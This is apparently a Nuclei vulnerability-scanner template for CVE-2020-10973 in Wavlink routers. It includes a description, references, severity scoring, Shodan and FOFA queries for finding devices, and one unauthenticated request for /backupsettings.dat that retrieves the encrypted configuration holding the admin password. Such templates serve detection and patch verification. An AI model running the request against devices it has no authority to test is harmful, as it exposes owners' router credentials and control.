id: CVE-2020-10973

info:
  name: WAVLINK - Access Control
  author: arafatansari
  severity: high
  description: |
    Wavlink WN530HG4, WN531G3, WN533A8, and WN551K are susceptible to improper access control via /cgi-bin/ExportAllSettings.sh, where a crafted POST request returns the current configuration of the device, including the administrator password. No authentication is required. The attacker must perform a decryption step, but all decryption information is readily available.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or control of the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://github.com/sudo-jtcsec/CVE/blob/master/CVE-2020-10973
    - https://github.com/sudo-jtcsec/Nyra
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10973
    - https://github.com/Roni-Carta/nyra
    - https://github.com/sudo-jtcsec/CVE/blob/master/CVE-2020-10973-affected_devices
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-10973
    cwe-id: CWE-306
    epss-score: 0.23523
    epss-percentile: 0.95731
    cpe: cpe:2.3:o:wavlink:wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn530hg4_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
    fofa-query: body="wavlink"
  tags: cve,cve2020,exposure,wavlink

http:
  - raw:
      - |
        GET /backupsettings.dat HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Salted__'

      - type: word
        part: header
        words:
          - application/octet-stream

      - type: status
        status:
          - 200
# digest: 490a0046304402200cc85fc86750e2c9c90c277f91defd69f8bd45bca124c5804328f6e7fadb2cb602205f04e8930d116998316d3f2cfa084d6fa85b2b8538ed9e71324ae9e6567ebdf4:922c64590222798bb761d5b6d8e72950